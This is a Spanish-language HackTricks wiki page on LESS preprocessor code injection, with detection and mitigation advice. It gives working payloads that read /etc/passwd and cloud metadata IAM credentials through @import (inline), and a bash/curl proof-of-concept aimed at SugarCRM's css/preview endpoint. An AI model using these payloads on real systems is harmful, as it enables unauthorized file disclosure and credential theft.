LESS Code Injection leading to SSRF & Local File Read

Reading time: 4 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Overview

LESS es un preprocesador CSS popular que añade variables, mixins, funciones y la poderosa directiva @import. Durante la compilación, el motor LESS obtendrá los recursos referenciados en las declaraciones @import y embebará ("inline") su contenido en el CSS resultante cuando se use la opción (inline).

Cuando una aplicación concatena entrada controlada por el usuario en una cadena que luego es analizada por el compilador LESS, un atacante puede inyectar código LESS arbitrario. Al abusar de @import (inline), el atacante puede forzar al servidor a recuperar:

  • Archivos locales a través del protocolo file:// (divulgación de información / Inclusión de Archivos Locales).
  • Recursos remotos en redes internas o servicios de metadatos en la nube (SSRF).

Esta técnica se ha visto en productos del mundo real como SugarCRM ≤ 14.0.0 (punto final /rest/v10/css/preview).

Exploitation

  1. Identificar un parámetro que esté embebido directamente dentro de una cadena de hoja de estilo procesada por el motor LESS (por ejemplo, ?lm= en SugarCRM).
  2. Cerrar la declaración actual e inyectar nuevas directivas. Los primitivos más comunes son:
  • ; – termina la declaración anterior.
  • } – cierra el bloque anterior (si es necesario).
  1. Usar @import (inline) '<URL>'; para leer recursos arbitrarios.
  2. Opcionalmente, inyectar un marcador (data: URI) después de la importación para facilitar la extracción del contenido obtenido del CSS compilado.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

El contenido de /etc/passwd aparecerá en la respuesta HTTP justo antes del marcador @@END@@.

SSRF – Metadatos de la Nube

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC automatizado (ejemplo de SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detección

  • Busque respuestas .less o .css generadas dinámicamente que contengan parámetros de consulta no sanitizados.
  • Durante la revisión del código, busque construcciones como "@media all { .preview { ... ${userInput} ... } }" pasadas a funciones de renderizado de LESS.
  • Los intentos de explotación a menudo incluyen @import, (inline), file://, http://169.254.169.254, etc.

Mitigaciones

  • No pase datos no confiables al compilador de LESS.
  • Si se requieren valores dinámicos, escápelos/sanitícelos adecuadamente (por ejemplo, restrinja a tokens numéricos, listas blancas).
  • Desactive, cuando sea posible, la capacidad de usar importaciones (inline), o limite los protocolos permitidos a https.
  • Mantenga las dependencias actualizadas: SugarCRM corrigió este problema en las versiones 13.0.4 y 14.0.1.

Casos del Mundo Real

ProductoEndpoint VulnerableImpacto
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF no autenticado y lectura de archivos locales

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks